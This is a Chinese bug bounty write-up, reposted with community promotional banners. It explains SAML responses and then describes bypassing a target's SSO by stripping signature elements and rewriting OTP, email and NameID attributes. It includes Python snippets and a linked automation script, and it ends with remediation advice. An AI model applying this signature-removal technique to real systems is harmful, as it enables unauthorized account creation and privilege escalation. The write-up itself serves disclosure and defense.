扫码领资料
获网安教程
来Track安全社区投稿~
赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)
什么是 SAML 认证?
SAML(安全断言标记语言)用于实现单点登录(SSO)。它是一种功能,允许用户无需多次登录即可访问多个服务。例如,如果你已经登录了 facebook.com,就无需再次输入凭据即可使用 messenger.com。
SAML 如何工作?
SAML 使用 XML 在身份提供方(IdP)和服务提供方(SP)之间传递认证数据。当用户尝试访问某些服务时,身份提供方会在用户首次通过身份提供方登录单点登录后,将 SAML 属性提供给服务提供方。服务提供方会向身份提供方请求认证和授权。
每个身份提供方和服务提供方都需要就 SAML 的配置达成一致。只有双方配置完全一致,SAML 认证才能正常工作。
SAML 响应结构
了解 SAML 响应的结构是理解该认证和授权协议如何工作的关键。以下是 SAML 响应的主要组件分解:
1. XML 结构:SAML 响应是一个 XML 文档。它以 XML 声明开始,指定 XML 的版本和字符编码。文档的其余部分被 <samlp:Response>
标签包裹。
2. 响应属性:
ID
:SAML 响应的唯一标识符。
Version
:使用的 SAML 协议版本(例如,2.0)。
IssueInstant
:响应发出的时间戳。
Destination
:响应的目标接收方 URL(通常是服务提供商)。
InResponseTo
:与此响应对应的 SAML 请求的 ID。
3. 发行方:<saml:Issuer>
元素指定发出 SAML 响应的实体(通常是 IdP,即身份提供商)。这是验证响应真实性的重要元素。
4. 状态:<samlp:Status>
元素指示响应的总体状态。它包含一个 <samlp:StatusCode>
元素,值可能是“Success”或“Requester”(表示错误)。
5. 声明:SAML 响应可以包含一个或多个声明,通常是关于用户的陈述。主要有两种类型的声明:
认证声明 (saml:AuthnStatement):包含用户认证的信息,例如何时以及如何认证。
属性声明 (saml:AttributeStatement):传递用户属性(例如用户名、电子邮件)或其他附加信息。
6. 签名:为确保 SAML 响应的完整性和真实性,通常会使用 IdP 的私钥对其进行签名。<ds:Signature>
元素包含加密签名。
7. 条件:<saml:Conditions>
元素为声明的有效性设置限制,包括 NotBefore
(声明可用的最早时间)和 NotOnOrAfter
(声明可用的最晚时间)。
8. 主体:<saml:Subject>
元素标识声明的主体,通常是用户。它包含 <saml:NameID>
元素,后者包含用户的唯一标识符。
9. 受众限制:<saml:AudienceRestriction>
元素指定声明的预期受众,通常是服务提供商的实体 ID。这有助于防止声明重放攻击。
10. 条件:响应中定义了声明有效的条件,例如时间范围和受众。
11. 属性声明:如果包含,<saml:AttributeStatement>
部分会列出用户属性及其值。服务提供商通常使用这些属性来授予访问权限或填充用户配置文件。
12. 签名验证:为了验证 SAML 响应,服务提供商必须检查签名。这包括将签名与 IdP 的公钥进行比对,以确保响应未被篡改。
下面是一个简化的 SAML 身份声明示例。该声明通过用户的用户名传递其身份:
<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_abc123" Version="2.0" IssueInstant="2023–10–18T14:30:00Z">
<saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://idp.example.com</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_def456" IssueInstant="2023–10–18T14:30:00Z">
<saml:AttributeStatement>
<saml:Attribute Name="user">
<saml:AttributeValue>john.doe@example.com</saml:AttributeValue>
</saml:Attribute>
<saml:Attribute Name="name">
<saml:AttributeValue>John Doe</saml:AttributeValue>
</saml:Attribute>
</saml:AttributeStatement>
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<! - Signature data goes here →
</ds:Signature>
</saml:Assertion>
</samlp:Response>
在实际场景中,SAML 响应通常使用 Base64 或其他安全编码方案进行传输。
漏洞详情:
像往常一样,我们以 example.com为目标(脱敏处理)。通过子域枚举、反向 DNS 查询以及 Google Dorks 等方法收集子域后,我发现了一个子域:login-otp.example.com/login
。
因此,当你发现一个登录页面时,首先要做的就是检查源代码是否存在任何泄露或有用的信息。不幸的是,我并没有发现太多有价值的东西,除了一个细节:以公司域名结尾的邮箱地址会受到特殊处理。
我随便输入了一些乱七八糟的东西,然后点击登录,检查请求。
该请求发送到 https://login-otp.example.com/SAML2/SSO/POST
,带有 SAMLRequest
参数和我输入的数据。
我所做的是解码原始的 SAML 响应,并花了几个小时对其进行各种操作:
<?xml version="1.0" encoding="UTF-8"?><saml2p:AuthnRequest xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" AssertionConsumerServiceURL="https://accounts-otp.exmaple.com/authenticated" ID="__b261eb3afa7ee41b11f2965608172e35" IssueInstant="2024-07-30T18:12:25.595Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0"><saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">account_manager_otp_b</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:SignedInfo>
<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha512"/>
<ds:Reference URI="#__b261eb3afa7ee41b11f2965608172e35">
<ds:Transforms>
<ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
</ds:Transforms>
<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
<ds:DigestValue>DhHSW4NWQQN9smpO5+L67m5KGoT5ahKpOrUwsb4d6WU=</ds:DigestValue>
</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>
b0Ivq52trxBFfLp8FvqJ4hY8+F4X7d6m2/MC9CMGZughdMXrF7RJz9lBdBUeZ1MjoujqGqo63fm5
gwUCOtD/tmlUVUKI2ukEyo12BSnETwICoCNK6GmfSor2QmtgVxqy896VFqWNHvmFM+mOcZ3C4+vI
lqR4bNWwGLuJiQyKBbMlkEsu9Zt+oQiSFazRWVVlU7a2jaEIjZHSc9rV3n5XIOOv4Sgm4/DVsuNT
rQcsxhHfLslUOoTJoPs/8M8rbtI5xizbd574qHQ4NgGfBDe0r9TSOqA8/tWfdBcXqbcYE6FE3kka
miK2VnzuRTL6rB739Q21Ei1lejwM4BHU1ktAGxfx6f9NidJry35VkNzb9bzSwSC3/PQgOvWczPDj
O8KjxL5dEZy+2TVe9FLaP6BBP6dLSNQeg6u77OgpRM/04nmVzSOBG2wXutWV0njjxlmRBppWMx/L
qjQKKhkqq6etAN2FPUfNHsBY5lfQziHe8XHOT/9zHF39Ex9qM0GL65AnjEHQI3T7NtHjCg1gXtar
wn2puoVNYxy/EnADFy7IbJ4fH9p+47B0eIOFgL0J04/cgcZ5SREIz54JkNx5mBeqB1KIb7wfVfe2
dRWu6INaHaPwsU0jAxqV2MpzMLilMnbns7DhFCjKH8JsQfYS+BkprEOXbgL5X6tFu326ZYtuKQo=
</ds:SignatureValue>
</ds:Signature><saml2p:Extensions><odin:version xmlns:odin="http://odin.vrsn.com">v3</odin:version></saml2p:Extensions></saml2p:AuthnRequest>
1.密码:
其实我并没有对密码做任何操作,因为我输入的是公司邮箱,改动密码也没有意义。
2.更改 ID:
ID="b261eb3afa7ee41b11f2965608172e35"
:
每个请求都有一个唯一的 ID,从技术上讲,我们正在发送一个新请求,所以需要一个新的 ID。我使用 UUID 生成了一个新的 ID。
import uuid
new_id = str(uuid.uuid4())
print(new_id)
3.移除经过操作的响应中的所有 <Signature>
元素。
for i in evilroot.xpath('//*[local-name(.)=\'Signature\']'):
i.getparent().remove(i)
通过这样做,我能够绕过本应确保响应真实性的验证机制。这一步对于测试系统如何处理篡改或未签名的响应至关重要。
4.修改属性
evilroot.xpath('//*[local-name(.)=\'Attribute\' and @Name=\'account_manager_otp\']')[0][0].text = 'new_otp_value'
evilroot.xpath('//*[local-name(.)=\'Attribute\' and @Name=\'Email\']')[0][0].text = 'newemail@example.com'
evilroot.xpath('//*[local-name(.)=\'NameID\']')[0].text = 'newemail@example.com'
我更新了SAML响应中的特定属性,以测试系统如何处理被更改的数据。
这有点无聊(尽管手动操作更高效),于是我写了一个Python脚本来自动化整个修改SAML响应的过程:https://github.com/0xxnum/saml_injector/blob/main/saml_injector.py
这个脚本将SAMLResponse作为命令行参数,先从base64解码,然后解析XML结构。它移除了原始的数字签名,并修改响应中的特定属性,例如OTP、电子邮件和用户标识符(在我的案例中)。应用这些更改后,它将修改后的SAMLResponse重新编码回base64,并打印出新的值。这个修改后的响应可以用来模拟攻击或测试基于SAML的认证系统中的漏洞,你可以根据目标的需求自定义属性。
然后我在python3中运行了这个脚本,并将原始的SAMLResponse作为参数。
python3 script.py <OriginalSAMLResponse>
然后,我用脚本提供的值替换了参数值并转发了请求,结果管理员账户被创建了!
最后,我写了一份详细的报告,并提交了概念验证。 一周后,我收到了$$$$。
影响
开发者的错误是没有对SAML响应实现适当的签名验证和检查。这一失败允许攻击者修改SAML响应,包括更改ID、属性并移除签名元素,从而实现未经授权的访问或特权升级。
修复
严格验证签名验证。 始终测试系统如何处理篡改或未签名的SAML响应。确保系统执行适当的签名验证,并不接受篡改或未签名的响应。验证SAML响应的完整性和真实性是否由服务提供商维护。
声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权!
如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。